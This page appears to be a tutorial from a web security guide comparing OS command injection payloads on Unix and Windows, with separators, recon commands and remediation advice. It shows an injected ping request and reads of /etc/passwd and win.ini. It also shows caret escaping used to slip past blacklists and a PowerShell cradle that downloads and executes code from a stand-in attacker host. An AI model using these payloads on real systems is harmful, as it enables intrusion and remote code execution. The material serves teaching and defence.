OS Command Injection: The Complete Practical Guide

Command Injection Payloads: Unix vs Windows

How OS command injection differs on Unix and Windows: separator parity, recon commands, caret escaping, PowerShell cradles, and detecting the OS first.

Published

OS command injection is the same bug on Unix and Windows, but the shells differ, so the payloads differ. Firing Unix syntax at a Windows cmd shell gets you nothing even when the injection is real. This page covers the separator parity, the recon commands per platform, and the Windows-specific tricks, plus how to detect the OS before you commit. Practice on a free live target.

Detect the OS first

Before committing to a payload set, work out what you are talking to. A cross-platform time probe and a platform-specific recon command narrow it down fast:

POST /api/diagnostics/ping HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
 
host=127.0.0.1 & whoami
HTTP/1.1 200 OK
Content-Type: text/plain
 
Pinging 127.0.0.1 with 32 bytes of data:
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
 
target\websvc

"Pinging ... with 32 bytes of data", TTL=128, and a DOMAIN\user string are all Windows tells (Unix ping says "PING ... 56 data bytes" and id returns uid=). The ampersand worked, so you are in cmd.

Separator parity

There is real overlap, with a few differences that matter:

# Unix (sh/bash)
;   |   ||   &   &&   $(...)   `...`   %0a
 
# Windows (cmd)
&   |   &&   ||   %0a          (no ; as a separator; no $(...) / backticks)
 
# PowerShell
;   |   &&   ||                (; is the statement separator here)

The ampersand, pipe, and logical operators travel across cmd and Unix. The semicolon is Unix (and PowerShell), not cmd. Command substitution with $(...) and backticks is Unix only.

Recon per platform

# Unix
id            # user and groups
uname -a      # kernel and arch
cat /etc/passwd
ls -la
:: Windows
whoami            & rem user
dir               & rem list a directory
type C:\windows\win.ini
systeminfo        & rem full host info

Windows-specific tricks

Caret escaping splits a blocked keyword in cmd the way quotes do on Unix. The caret is removed during parsing and the letters rejoin:

who^ami        & rem runs whoami, dodges a blacklist on the literal word

PowerShell download cradle fetches and executes a script in memory, a common escalation once you can run PowerShell:

& powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker.oast/x')"

IEX (Invoke-Expression) runs whatever the download returns, so you stage a larger payload without writing it to disk first.

Step through it

Detect the OS, pick the separators that shell honours, confirm with a native recon command, then escalate with the platform's tricks (caret and PowerShell on Windows, the shell tricks from the other spokes on Unix). The injection is the same, only the dialect changes.

Fixing it

The fix is identical on both platforms, because the root cause is identical:

  • Do not call a shell. Use an argument-array process API so input is never parsed by cmd, PowerShell, or /bin/sh.
  • Allow-list the value and reject anything outside the expected pattern.
  • Prefer a native library over shelling out to any CLI tool.

Full guidance is in preventing command injection. For every payload in one place, see the cheat sheet, or try cross-platform payloads on a free lab.

← Back to OS Command Injection: The Complete Practical Guide